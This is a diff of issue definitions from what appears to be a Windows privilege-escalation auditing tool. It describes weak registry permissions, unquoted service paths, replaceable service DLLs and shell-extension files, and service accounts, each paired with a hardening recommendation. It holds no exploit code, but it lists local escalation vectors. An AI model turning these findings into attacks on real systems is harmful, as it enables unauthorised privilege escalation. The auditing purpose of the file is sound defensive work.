- 'description': '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to have the KEY_CREATE_LINK permission granted for non-administrative users. This allows low-privileged users to create Registry Symbolic Links. While this feature appears to be poorly documented by Microsoft, there is sample code freely available on the Internet. The impact of this issue is similar to that for the KEY_CREATE_SUB_KEY issue: It may be possible for low privileged users to manipulate services - though this would depend on how the service responded to the addition of new registry keys.''',
- 'recommendation': '''Change the permissions of registry keys pertaining to Windows Servies. Service registry keys should never allow KEY_CREATE_LINK for low-privileged users.''',
- 'supporting_data': {
- 'service_reg_perms': {
- 'section': "description",
- 'preamble': "The registry keys below had KEY_CREATE_LINK granted for non-administrative users:",
- },
- }
+ 'title': "Windows Service Registry Keys Allow KEY_CREATE_LINK",
+ 'description':
+ '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to have the KEY_CREATE_LINK permission granted for non-administrative users. This allows low-privileged users to create Registry Symbolic Links. While this feature appears to be poorly documented by Microsoft, there is sample code freely available on the Internet. The impact of this issue is similar to that for the KEY_CREATE_SUB_KEY issue: It may be possible for low privileged users to manipulate services - though this would depend on how the service responded to the addition of new registry keys.''',
+ 'recommendation':
+ '''Change the permissions of registry keys pertaining to Windows Servies. Service registry keys should never allow KEY_CREATE_LINK for low-privileged users.''',
+ 'supporting_data': {
+ 'service_reg_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below had KEY_CREATE_LINK granted for non-administrative users:",
+ },
+ }
},
'WPC039': {
- 'title': "Windows Service Registry Keys Allow Untrusted Users To Create Subkeys",
- 'description': '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to have the KEY_CREATE_SUB_KEY permission granted for non-administrative users. It may be possible for low privileged users to manipulate service - though this would depend on how the service responded to the addition of new registry keys.''',
- 'recommendation': '''Review the permissions of keys with KEY_CREATE_SUB_KEY granged. Revoke KEY_CREATE_SUB_KEY permissions for non-administrative users where possible.''',
- 'supporting_data': {
- 'service_reg_perms': {
- 'section': "description",
- 'preamble': "The registry keys below had KEY_CREATE_SUB_KEY granted for non-administrative users:",
- },
- }
+ 'title':
+ "Windows Service Registry Keys Allow Untrusted Users To Create Subkeys",
+ 'description':
+ '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to have the KEY_CREATE_SUB_KEY permission granted for non-administrative users. It may be possible for low privileged users to manipulate service - though this would depend on how the service responded to the addition of new registry keys.''',
+ 'recommendation':
+ '''Review the permissions of keys with KEY_CREATE_SUB_KEY granged. Revoke KEY_CREATE_SUB_KEY permissions for non-administrative users where possible.''',
+ 'supporting_data': {
+ 'service_reg_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below had KEY_CREATE_SUB_KEY granted for non-administrative users:",
+ },
+ }
},
'WPC040': {
- 'title': "Windows Service Registry Keys Allow Untrusted Users To Delete Them",
- 'description': '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to have the DELETE permission granted for non-administrative users. Low privileged users could delete the service configuration information, disrupting normal business operations.''',
- 'recommendation': '''Change the permissions of registry keys pertaining to Windows Servies. Service registry keys should never allow DELETE for low-privileged users.''',
- 'supporting_data': {
- 'service_reg_perms': {
- 'section': "description",
- 'preamble': "The registry keys below had DELETE granted for non-administrative users:",
- },
- }
+ 'title':
+ "Windows Service Registry Keys Allow Untrusted Users To Delete Them",
+ 'description':
+ '''Configuration information for Windows Service is stored in the registry. Some of the keys were found to have the DELETE permission granted for non-administrative users. Low privileged users could delete the service configuration information, disrupting normal business operations.''',
+ 'recommendation':
+ '''Change the permissions of registry keys pertaining to Windows Servies. Service registry keys should never allow DELETE for low-privileged users.''',
+ 'supporting_data': {
+ 'service_reg_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below had DELETE granted for non-administrative users:",
+ },
+ }
},
'WPC041': {
- 'title': "Windows Service Registry Keys Have Parent Keys Owned By Untrusted Users",
- 'description': '''Configuration information for Windows Service is stored in the registry. Some of the parent keys were found to be owned by non-administrative users. This could allow low-privileged users to alter the permissions on the keys concerned, delete them, add subkeys and add/alter registry values for that key. This probably constitutes a denial of service risk, but may also allow privilege escalation depending on how the service responds to registry keys being tampered with.''',
- 'recommendation': '''Change the ownership of registry keys pertaining to Windows Servies. Service registry keys should be owned by the administrators group.''',
- 'supporting_data': {
- 'service_regkey_parent_untrusted_ownership': {
- 'section': "description",
- 'preamble': "The registry keys below were owned by non-administrative users:",
- },
- }
+ 'title':
+ "Windows Service Registry Keys Have Parent Keys Owned By Untrusted Users",
+ 'description':
+ '''Configuration information for Windows Service is stored in the registry. Some of the parent keys were found to be owned by non-administrative users. This could allow low-privileged users to alter the permissions on the keys concerned, delete them, add subkeys and add/alter registry values for that key. This probably constitutes a denial of service risk, but may also allow privilege escalation depending on how the service responds to registry keys being tampered with.''',
+ 'recommendation':
+ '''Change the ownership of registry keys pertaining to Windows Servies. Service registry keys should be owned by the administrators group.''',
+ 'supporting_data': {
+ 'service_regkey_parent_untrusted_ownership': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below were owned by non-administrative users:",
+ },
+ }
},
'WPC042': {
- 'title': "Permissions on Windows Service Registry Keys Can Be Changed By Untrusted Users",
- 'description': '''Configuration information for Windows Service is stored in the registry. TODO.''',
- 'recommendation': '''TODO.''',
- 'supporting_data': {
- 'service_regkey_parent_perms': {
- 'section': "description",
- 'preamble': "The registry keys below were owned by non-administrative users:",
- },
- }
+ 'title':
+ "Permissions on Windows Service Registry Keys Can Be Changed By Untrusted Users",
+ 'description':
+ '''Configuration information for Windows Service is stored in the registry. TODO.''',
+ 'recommendation': '''TODO.''',
+ 'supporting_data': {
+ 'service_regkey_parent_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below were owned by non-administrative users:",
+ },
+ }
},
'WPC043': {
- 'title': "Windows Service Registry Keys Can Be Deleted And Replaced By Untrusted Users",
- 'description': '''Configuration information for Windows Service is stored in the registry. TODO.''',
- 'recommendation': '''TODO.''',
- 'supporting_data': {
- 'service_regkey_parent_grandparent_write_perms': {
- 'section': "description",
- 'preamble': "The registry keys below were owned by non-administrative users:",
- },
- }
+ 'title':
+ "Windows Service Registry Keys Can Be Deleted And Replaced By Untrusted Users",
+ 'description':
+ '''Configuration information for Windows Service is stored in the registry. TODO.''',
+ 'recommendation': '''TODO.''',
+ 'supporting_data': {
+ 'service_regkey_parent_grandparent_write_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below were owned by non-administrative users:",
+ },
+ }
},
'WPC046': {
- 'title': "Windows Registry Keys Containing Program Owned By Untrusted Users",
- 'description': '''Some of the registry keys holding the names of programs run by other users could be changed by non-administrative users. TODO''',
- 'recommendation': '''TODO''',
- 'supporting_data': {
- 'regkey_untrusted_ownership': {
- 'section': "description",
- 'preamble': "The registry keys below can be changed by non-administrative users:",
- },
- }
+ 'title':
+ "Windows Registry Keys Containing Program Owned By Untrusted Users",
+ 'description':
+ '''Some of the registry keys holding the names of programs run by other users could be changed by non-administrative users. TODO''',
+ 'recommendation': '''TODO''',
+ 'supporting_data': {
+ 'regkey_untrusted_ownership': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below can be changed by non-administrative users:",
+ },
+ }
},
'WPC047': {
- 'title': "Windows Registry Keys Containing Programs Can Have Permissions Changed By Untrusted Users",
- 'description': '''Some of the registry keys holding the names of programs run by other users could be changed by non-administrative users. TODO''',
- 'recommendation': '''TODO''',
- 'supporting_data': {
- 'regkey_perms': {
- 'section': "description",
- 'preamble': "The registry keys below can be changed by non-administrative users:",
- },
- }
+ 'title':
+ "Windows Registry Keys Containing Programs Can Have Permissions Changed By Untrusted Users",
+ 'description':
+ '''Some of the registry keys holding the names of programs run by other users could be changed by non-administrative users. TODO''',
+ 'recommendation': '''TODO''',
+ 'supporting_data': {
+ 'regkey_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below can be changed by non-administrative users:",
+ },
+ }
},
'WPC048': {
- 'title': "Windows Registry Keys Containing Program Names Can Be Changed By Untrusted Users",
- 'description': '''Some of the registry keys holding the names of programs run by other users could be changed by non-administrative users. It would be possible for an attacker to substitute the name of malicious program which then stole the privileges of other accounts.''',
- 'recommendation': '''The keys below should only have write access for administrators.''',
- 'supporting_data': {
- 'regkey_perms': {
- 'section': "description",
- 'preamble': "The registry keys below can be changed by non-administrative users:",
- },
- }
+ 'title':
+ "Windows Registry Keys Containing Program Names Can Be Changed By Untrusted Users",
+ 'description':
+ '''Some of the registry keys holding the names of programs run by other users could be changed by non-administrative users. It would be possible for an attacker to substitute the name of malicious program which then stole the privileges of other accounts.''',
+ 'recommendation':
+ '''The keys below should only have write access for administrators.''',
+ 'supporting_data': {
+ 'regkey_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below can be changed by non-administrative users:",
+ },
+ }
},
'WPC049': {
- 'title': "Windows Registry Keys Containing Programs Can Have Subkey Added By Untrusted Users",
- 'description': '''Some of the registry keys holding the names of programs run by other users could be changed by non-administrative users. TODO''',
- 'recommendation': '''TODO''',
- 'supporting_data': {
- 'regkey_perms': {
- 'section': "description",
- 'preamble': "The registry keys below can be changed by non-administrative users:",
- },
- }
+ 'title':
+ "Windows Registry Keys Containing Programs Can Have Subkey Added By Untrusted Users",
+ 'description':
+ '''Some of the registry keys holding the names of programs run by other users could be changed by non-administrative users. TODO''',
+ 'recommendation': '''TODO''',
+ 'supporting_data': {
+ 'regkey_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below can be changed by non-administrative users:",
+ },
+ }
},
'WPC050': {
- 'title': "Windows Registry Keys Containing Programs Can Be Deleted",
- 'description': '''Some of the registry keys holding the names of programs run by other users could be changed by non-administrative users. TODO''',
- 'recommendation': '''TODO''',
- 'supporting_data': {
- 'regkey_perms': {
- 'section': "description",
- 'preamble': "The registry keys below can be changed by non-administrative users:",
- },
- }
+ 'title': "Windows Registry Keys Containing Programs Can Be Deleted",
+ 'description':
+ '''Some of the registry keys holding the names of programs run by other users could be changed by non-administrative users. TODO''',
+ 'recommendation': '''TODO''',
+ 'supporting_data': {
+ 'regkey_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below can be changed by non-administrative users:",
+ },
+ }
},
'WPC051': {
- 'title': "Windows Service Has Insecurely Quoted Path",
- 'description': '''The path to the executable for the service contains one or more spaces and quotes have not been correctly used around the path. The path is therefore ambiguous which could result in the wrong program being executed when the service is started - e.g. "C:\\program.exe" instead of "C:\\program files\\foo\\bar.exe". The issue is not necessarily exploitable unless a local attacker has permissions to add an alternative executable to the correct location on the filesystem. The impact of the issue should be considered higher for services that run with high privileges.''',
- 'recommendation': '''Use quotes around the path to executables if they contain spaces: C:\\program files\\foo\\bar.exe -> "C:\\program files\\foo\\bar.exe".''',
- 'supporting_data': {
- 'service_info': {
- 'section': "description",
- 'preamble': "The following services have insecurely quoted paths:",
- },
- }
+ 'title': "Windows Service Has Insecurely Quoted Path",
+ 'description':
+ '''The path to the executable for the service contains one or more spaces and quotes have not been correctly used around the path. The path is therefore ambiguous which could result in the wrong program being executed when the service is started - e.g. "C:\\program.exe" instead of "C:\\program files\\foo\\bar.exe". The issue is not necessarily exploitable unless a local attacker has permissions to add an alternative executable to the correct location on the filesystem. The impact of the issue should be considered higher for services that run with high privileges.''',
+ 'recommendation':
+ '''Use quotes around the path to executables if they contain spaces: C:\\program files\\foo\\bar.exe -> "C:\\program files\\foo\\bar.exe".''',
+ 'supporting_data': {
+ 'service_info': {
+ 'section': "description",
+ 'preamble':
+ "The following services have insecurely quoted paths:",
+ },
+ }
},
'WPC052': {
- 'title': "Windows Service DLL Can Be Replaced",
- 'description': '''Each windows service has a corresponding registry key in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services. Some services have a "Parameters" subkey and a value called "ServiceDll" (e.g. HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\someservice\\Parameters\\ServiceDll = c:\\dir\\foo.dll"). The DLL for some of the services on the system audited can be replaced by non-administrative users. TODO how and by whom? Users able to replace the service DLL could run code of their choosing with the privileges of the service.''',
- 'recommendation': '''Set strong file permissions on the service DLLs and their partent directories.''',
- 'supporting_data': {
- 'service_dll': {
- 'section': "description",
- 'preamble': "The following services have weak file permissions on the service DLLs:",
- },
- }
+ 'title': "Windows Service DLL Can Be Replaced",
+ 'description':
+ '''Each windows service has a corresponding registry key in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services. Some services have a "Parameters" subkey and a value called "ServiceDll" (e.g. HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\someservice\\Parameters\\ServiceDll = c:\\dir\\foo.dll"). The DLL for some of the services on the system audited can be replaced by non-administrative users. TODO how and by whom? Users able to replace the service DLL could run code of their choosing with the privileges of the service.''',
+ 'recommendation':
+ '''Set strong file permissions on the service DLLs and their partent directories.''',
+ 'supporting_data': {
+ 'service_dll': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following services have weak file permissions on the service DLLs:",
+ },
+ }
},
'WPC053': {
- 'title': "Context Handler Menus Use Poorly Protected Files",
- 'description': '''Context Menus appear in Windows Explorer when files are right-clicked. Each has a corresponding DLL or .EXE. Some of the referenced DLLs or .EXE file can be replaced by non-administrative users. As these context menus are used by all system users, there is a possibility that a user might run malicious code of an attacker's choosing if the DLLs or .EXEs are modified. TODO how can the files be modified?
+ 'title': "Context Handler Menus Use Poorly Protected Files",
+ 'description':
+ '''Context Menus appear in Windows Explorer when files are right-clicked. Each has a corresponding DLL or .EXE. Some of the referenced DLLs or .EXE file can be replaced by non-administrative users. As these context menus are used by all system users, there is a possibility that a user might run malicious code of an attacker's choosing if the DLLs or .EXEs are modified. TODO how can the files be modified?
Context Menu Handlers are described here: http://msdn.microsoft.com/en-us/library/windows/desktop/cc144171(v=vs.85).aspx
Shell Extenstion Handlers more generally are described here: http://msdn.microsoft.com/en-us/library/windows/desktop/cc144067(v=vs.85).aspx ''',
- 'recommendation': '''Set strong file permissions on the service DLLs and their partent directories.''',
- 'supporting_data': {
- 'regkey_ref_replacable_file': {
- 'section': "description",
- 'preamble': "The following shell extension use DLLs or .EXE files with weak file permissions:",
- },
- }
+ 'recommendation':
+ '''Set strong file permissions on the service DLLs and their partent directories.''',
+ 'supporting_data': {
+ 'regkey_ref_replacable_file': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following shell extension use DLLs or .EXE files with weak file permissions:",
+ },
+ }
},
'WPC054': {
- 'title': "Property Sheet Handlers Use Poorly Protected Files",
- 'description': '''"Property Sheets" appear in Windows Explorer when files are right-clicked and the "Properties" context menu selected. The DLLs or .EXEs used to generate these property sheets can be replaced by non-administrative users. As these property sheets are used by all system users, there is a possibility that a user might run malicious code of an attacker's choosing if the DLLs or .EXEs are modified. TODO how can the files be modified?
+ 'title': "Property Sheet Handlers Use Poorly Protected Files",
+ 'description':
+ '''"Property Sheets" appear in Windows Explorer when files are right-clicked and the "Properties" context menu selected. The DLLs or .EXEs used to generate these property sheets can be replaced by non-administrative users. As these property sheets are used by all system users, there is a possibility that a user might run malicious code of an attacker's choosing if the DLLs or .EXEs are modified. TODO how can the files be modified?
Property Sheet Handlers are described here: http://msdn.microsoft.com/en-us/library/windows/desktop/cc144106(v=vs.85).aspx
Shell Extenstion Handlers more generally are described here: http://msdn.microsoft.com/en-us/library/windows/desktop/cc144067(v=vs.85).aspx ''',
- 'recommendation': '''Set strong file permissions on the service DLLs and their partent directories.''',
- 'supporting_data': {
- 'regkey_ref_replacable_file': {
- 'section': "description",
- 'preamble': "The following shell extension use DLLs or .EXE files with weak file permissions:",
- },
- }
+ 'recommendation':
+ '''Set strong file permissions on the service DLLs and their partent directories.''',
+ 'supporting_data': {
+ 'regkey_ref_replacable_file': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following shell extension use DLLs or .EXE files with weak file permissions:",
+ },
+ }
},
'WPC055': {
- 'title': "Copy Hook Handlers Use Poorly Protected Files",
- 'description': '''"Copy Hook Handlers" are a type of Windows Explorer shell extension that can control the copying, moving, deleting and renaming of files and folder. Each as a corresponding DLL or .EXE. Some of DLLs or .EXEs used can be replaced by non-administrative users. As Copy Hooks are used by all system users, there is a possibility that a user might run malicious code of an attacker's choosing if the DLLs or .EXEs are modified. TODO how can the files be modified?
+ 'title': "Copy Hook Handlers Use Poorly Protected Files",
+ 'description':
+ '''"Copy Hook Handlers" are a type of Windows Explorer shell extension that can control the copying, moving, deleting and renaming of files and folder. Each as a corresponding DLL or .EXE. Some of DLLs or .EXEs used can be replaced by non-administrative users. As Copy Hooks are used by all system users, there is a possibility that a user might run malicious code of an attacker's choosing if the DLLs or .EXEs are modified. TODO how can the files be modified?
Copy Hook Handlers are described here: http://msdn.microsoft.com/en-us/library/windows/desktop/cc144063(v=vs.85).aspx
Shell Extenstion Handlers more generally are described here: http://msdn.microsoft.com/en-us/library/windows/desktop/cc144067(v=vs.85).aspx ''',
- 'recommendation': '''Set strong file permissions on the service DLLs and their partent directories.''',
- 'supporting_data': {
- 'regkey_ref_replacable_file': {
- 'section': "description",
- 'preamble': "The following shell extension use DLLs or .EXE files with weak file permissions:",
- },
- }
+ 'recommendation':
+ '''Set strong file permissions on the service DLLs and their partent directories.''',
+ 'supporting_data': {
+ 'regkey_ref_replacable_file': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following shell extension use DLLs or .EXE files with weak file permissions:",
+ },
+ }
},
'WPC056': {
- 'title': "DragDrop Handlers Use Poorly Protected Files",
- 'description': '''"DragDrop Handlers" are a type of Windows Explorer shell extension that determine behaviour when files or folders are dragged and dropped. Each as a corresponding DLL or .EXE. Some of DLLs or .EXEs used can be replaced by non-administrative users. As DragDrop Handlers are used by all system users, there is a possibility that a user might run malicious code of an attacker's choosing if the DLLs or .EXEs are modified. TODO how can the files be modified?
+ 'title': "DragDrop Handlers Use Poorly Protected Files",
+ 'description':
+ '''"DragDrop Handlers" are a type of Windows Explorer shell extension that determine behaviour when files or folders are dragged and dropped. Each as a corresponding DLL or .EXE. Some of DLLs or .EXEs used can be replaced by non-administrative users. As DragDrop Handlers are used by all system users, there is a possibility that a user might run malicious code of an attacker's choosing if the DLLs or .EXEs are modified. TODO how can the files be modified?
DragDrop Handlers are described here: http://msdn.microsoft.com/en-us/library/windows/desktop/cc144171(v=vs.85).aspx
Shell Extenstion Handlers more generally are described here: http://msdn.microsoft.com/en-us/library/windows/desktop/cc144067(v=vs.85).aspx ''',
- 'recommendation': '''Set strong file permissions on the service DLLs and their partent directories.''',
- 'supporting_data': {
- 'regkey_ref_replacable_file': {
- 'section': "description",
- 'preamble': "The following shell extension use DLLs or .EXE files with weak file permissions:",
- },
- }
+ 'recommendation':
+ '''Set strong file permissions on the service DLLs and their partent directories.''',
+ 'supporting_data': {
+ 'regkey_ref_replacable_file': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following shell extension use DLLs or .EXE files with weak file permissions:",
+ },
+ }
},
'WPC057': {
- 'title': "Column Handlers Use Poorly Protected Files",
- 'description': '''"Column Handlers" are a type of Windows Explorer shell extension that determine behaviour the users tries to add or remove columns from the display. Each as a corresponding DLL or .EXE. Some of DLLs or .EXEs used can be replaced by non-administrative users. As Column Handlers are used by all system users, there is a possibility that a user might run malicious code of an attacker's choosing if the DLLs or .EXEs are modified. TODO how can the files be modified?
+ 'title': "Column Handlers Use Poorly Protected Files",
+ 'description':
+ '''"Column Handlers" are a type of Windows Explorer shell extension that determine behaviour the users tries to add or remove columns from the display. Each as a corresponding DLL or .EXE. Some of DLLs or .EXEs used can be replaced by non-administrative users. As Column Handlers are used by all system users, there is a possibility that a user might run malicious code of an attacker's choosing if the DLLs or .EXEs are modified. TODO how can the files be modified?
Column Handlers are described here: http://msdn.microsoft.com/en-us/library/windows/desktop/bb776831(v=vs.85).aspx
Shell Extenstion Handlers more generally are described here: http://msdn.microsoft.com/en-us/library/windows/desktop/cc144067(v=vs.85).aspx ''',
- 'recommendation': '''Set strong file permissions on the service DLLs and their partent directories.''',
- 'supporting_data': {
- 'regkey_ref_replacable_file': {
- 'section': "description",
- 'preamble': "The following shell extension use DLLs or .EXE files with weak file permissions:",
- },
- }
+ 'recommendation':
+ '''Set strong file permissions on the service DLLs and their partent directories.''',
+ 'supporting_data': {
+ 'regkey_ref_replacable_file': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following shell extension use DLLs or .EXE files with weak file permissions:",
+ },
+ }
},
# TODO checks for these:
# Icon Overlay Handlers http://msdn.microsoft.com/en-us/library/windows/desktop/cc144123(v=vs.85).aspx
@@ -2417,606 +2704,778 @@
# TODO add RunOnceEx keys to this issue + HKCU\run, runonce, runonceex
'WPC058': {
- 'title': "Registry \"Run\" Keys Reference Programs With Weak Permissions",
- 'description': '''The Run and RunOnce keys under HKLM reference programs that are run when a user logs in with the privielges of that user. Some of the programs referenced by the registry keys can be modified by non-administrative user. This could allow a malcious user to run code of their choosing under the context of other user accounts. Run and RunOnce are described here: http://msdn.microsoft.com/en-us/library/aa376977(v=vs.85).aspx''',
- 'recommendation': '''Set strong file permissions on the executables their parent directories.''',
- 'supporting_data': {
- 'regkey_ref_file': {
- 'section': "description",
- 'preamble': "The programs referenced from the registry can be modified by non-admin users:",
- },
- }
+ 'title':
+ "Registry \"Run\" Keys Reference Programs With Weak Permissions",
+ 'description':
+ '''The Run and RunOnce keys under HKLM reference programs that are run when a user logs in with the privielges of that user. Some of the programs referenced by the registry keys can be modified by non-administrative user. This could allow a malcious user to run code of their choosing under the context of other user accounts. Run and RunOnce are described here: http://msdn.microsoft.com/en-us/library/aa376977(v=vs.85).aspx''',
+ 'recommendation':
+ '''Set strong file permissions on the executables their parent directories.''',
+ 'supporting_data': {
+ 'regkey_ref_file': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs referenced from the registry can be modified by non-admin users:",
+ },
+ }
},
'WPC059': {
- 'title': "Registry \"RunServices\" Keys Reference Programs With Weak Permissions",
- 'description': '''The RunServices and RunServicesOnce keys under HKLM reference programs that are run before the Login Dialog box appears. Commands are run as SYSTEM. Some of the programs referenced by the registry keys can be modified by non-administrative user. This could allow a malcious user to run code of their choosing under the context of the SYSTEM account. RunServices and RunServicesOnce are described here: http://support.microsoft.com/kb/179365''',
- 'recommendation': '''Set strong file permissions on the executables their parent directories.''',
- 'supporting_data': {
- 'regkey_ref_file': {
- 'section': "description",
- 'preamble': "The programs referenced from the registry can be modified by non-admin users:",
- },
- }
+ 'title':
+ "Registry \"RunServices\" Keys Reference Programs With Weak Permissions",
+ 'description':
+ '''The RunServices and RunServicesOnce keys under HKLM reference programs that are run before the Login Dialog box appears. Commands are run as SYSTEM. Some of the programs referenced by the registry keys can be modified by non-administrative user. This could allow a malcious user to run code of their choosing under the context of the SYSTEM account. RunServices and RunServicesOnce are described here: http://support.microsoft.com/kb/179365''',
+ 'recommendation':
+ '''Set strong file permissions on the executables their parent directories.''',
+ 'supporting_data': {
+ 'regkey_ref_file': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs referenced from the registry can be modified by non-admin users:",
+ },
+ }
},
'WPC060': {
- 'title': "KnownDLLs Have Weak Permissions",
- 'description': '''The KnownDLLs registry key holds the name and path of various DLLs. Programs that rely on these DLLs will load them from the known location instead of searching the rest of the PATH. More information on KnownDLLs can be found here: http://support.microsoft.com/kb/164501''',
- 'recommendation': '''Set strong file permissions on the DLLs their parent directories.''',
- 'supporting_data': {
- 'regkey_ref_file': {
- 'section': "description",
- 'preamble': "The programs referenced from the registry can be modified by non-admin users:",
- },
- }
+ 'title': "KnownDLLs Have Weak Permissions",
+ 'description':
+ '''The KnownDLLs registry key holds the name and path of various DLLs. Programs that rely on these DLLs will load them from the known location instead of searching the rest of the PATH. More information on KnownDLLs can be found here: http://support.microsoft.com/kb/164501''',
+ 'recommendation':
+ '''Set strong file permissions on the DLLs their parent directories.''',
+ 'supporting_data': {
+ 'regkey_ref_file': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs referenced from the registry can be modified by non-admin users:",
+ },
+ }
},
'WPC061': {
- 'title': "CLSID References DLLs/EXEs With Weak File Permissions (experimental)",
- 'description': '''Some of the CLSIDs reference files with insecure permissions. This may indicate the presence of a vulnerability, but it depends what the CLSID is used for. Try searching the registry for the CLSIDs below to determine how they are used and if this issue might be exploitable.
+ 'title':
+ "CLSID References DLLs/EXEs With Weak File Permissions (experimental)",
+ 'description':
+ '''Some of the CLSIDs reference files with insecure permissions. This may indicate the presence of a vulnerability, but it depends what the CLSID is used for. Try searching the registry for the CLSIDs below to determine how they are used and if this issue might be exploitable.
Further information about CLSIDs is available here: http://msdn.microsoft.com/en-us/library/windows/desktop/ms691424(v=vs.85).aspx''',
- 'recommendation': '''Set strong file permissions on files referenced from CLSIDs.''',
- 'supporting_data': {
- 'regkey_ref_file': {
- 'section': "description",
- 'preamble': "The programs referenced from the registry can be modified by non-admin users:",
- },
- }
+ 'recommendation':
+ '''Set strong file permissions on files referenced from CLSIDs.''',
+ 'supporting_data': {
+ 'regkey_ref_file': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs referenced from the registry can be modified by non-admin users:",
+ },
+ }
},
'WPC062': {
- 'title': "Windows Service Executable Is Missing",
- 'description': '''Each Windows Service has a corresponding executable. The executables for some services were missing at the time of the audit. This can sometimes be caused programs being manually deleted instead of being properly uninstalled. Although this configuration is unusual and probably undesirable, it is unlikely to be a security issue unless an attacker can recreate the executables in question - an issue that was NOT checked for (please check manually). It may be an indication that an attacker has previously abused a Windows service and left it in a half-configured state, so investigating the cause of the problem is advised.''',
- 'recommendation': '''Investigate why the service is broken and either fix or remove the service as appropriate.''',
- 'supporting_data': {
- 'service_no_exe': {
- 'section': "description",
- 'preamble': "The following Windows Services has missing executables:",
- },
- }
+ 'title': "Windows Service Executable Is Missing",
+ 'description':
+ '''Each Windows Service has a corresponding executable. The executables for some services were missing at the time of the audit. This can sometimes be caused programs being manually deleted instead of being properly uninstalled. Although this configuration is unusual and probably undesirable, it is unlikely to be a security issue unless an attacker can recreate the executables in question - an issue that was NOT checked for (please check manually). It may be an indication that an attacker has previously abused a Windows service and left it in a half-configured state, so investigating the cause of the problem is advised.''',
+ 'recommendation':
+ '''Investigate why the service is broken and either fix or remove the service as appropriate.''',
+ 'supporting_data': {
+ 'service_no_exe': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following Windows Services has missing executables:",
+ },
+ }
},
'WPC063': {
- 'title': "Windows Service Running Under Domain Account",
- 'description': '''The configuration for each Windows Service specifies the user context under which the service runs. Often services run as Built-in security pricipals such as LocalSystem, Network Service, Local Service, etc. or as a dedicated local user account. In the case of the system audited, some of the Windows Services were found to run in the context of a Domain account. It would therefore be possible for any attacker who gained local admin rights on the system to recover the cleartext password for the Domain accounts in question. Depending on the priviliges of those accounts, it may be possible for an attacker to abuse the accounts to compromise further systems on the network.''',
- 'recommendation': '''Ensure that Domain accounts are only used when absolutely necessary. When they are used, ensure that the group memberships of the account are restricted to only those required - avoiding membership of Domain Admins. Where possible also ensure that service accounts are only able to logon from a whitelist of named workstations. These recommendations help to limit the potential abuse of domain accounts.''',
- 'supporting_data': {
- 'service_domain_user': {
- 'section': "description",
- 'preamble': "The following windows services run in the context of Domain accounts:",
- },
- }
+ 'title': "Windows Service Running Under Domain Account",
+ 'description':
+ '''The configuration for each Windows Service specifies the user context under which the service runs. Often services run as Built-in security pricipals such as LocalSystem, Network Service, Local Service, etc. or as a dedicated local user account. In the case of the system audited, some of the Windows Services were found to run in the context of a Domain account. It would therefore be possible for any attacker who gained local admin rights on the system to recover the cleartext password for the Domain accounts in question. Depending on the priviliges of those accounts, it may be possible for an attacker to abuse the accounts to compromise further systems on the network.''',
+ 'recommendation':
+ '''Ensure that Domain accounts are only used when absolutely necessary. When they are used, ensure that the group memberships of the account are restricted to only those required - avoiding membership of Domain Admins. Where possible also ensure that service accounts are only able to logon from a whitelist of named workstations. These recommendations help to limit the potential abuse of domain accounts.''',
+ 'supporting_data': {
+ 'service_domain_user': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following windows services run in the context of Domain accounts:",
+ },
+ }
},
'WPC064': {
- 'title': "Windows Service Running Under Named Local Account",
- 'description': '''The configuration for each Windows Service specifies the user context under which the service runs. Often services run as Built-in security pricipals such as LocalSystem, Network Service, Local Service, etc. In the case of the system audited, some of the Windows Services were found to run in the context of a local account that wasn't a Built-in security principal. This can be a secure configuration and indeed is recommended configuration for some services such as SQL Server. However, if administrators have similar services running on other systems, they sometimes configure the Windows Service account to have the same password on each. It would therefore be possible for any attacker who gained local admin rights on the system to recover the cleartext password for the local Windows Service accounts in question. It passwords are reused, it may be possible for an attacker to abuse the accounts to compromise further systems on the network.''',
- 'recommendation': '''Ensure that the group memberships of the account are restricted to only those required - avoiding membership of the Administrators group. Where possible also ensure that service accounts are not able to log on interactively, as batch jobs or log in over the network. These recommendations help to limit the potential abuse of windows service accounts.''',
- 'supporting_data': {
- 'service_domain_user': {
- 'section': "description",
- 'preamble': "The following windows services run in the context of local accounts:",
- },
- }
+ 'title': "Windows Service Running Under Named Local Account",
+ 'description':
+ '''The configuration for each Windows Service specifies the user context under which the service runs. Often services run as Built-in security pricipals such as LocalSystem, Network Service, Local Service, etc. In the case of the system audited, some of the Windows Services were found to run in the context of a local account that wasn't a Built-in security principal. This can be a secure configuration and indeed is recommended configuration for some services such as SQL Server. However, if administrators have similar services running on other systems, they sometimes configure the Windows Service account to have the same password on each. It would therefore be possible for any attacker who gained local admin rights on the system to recover the cleartext password for the local Windows Service accounts in question. It passwords are reused, it may be possible for an attacker to abuse the accounts to compromise further systems on the network.''',
+ 'recommendation':
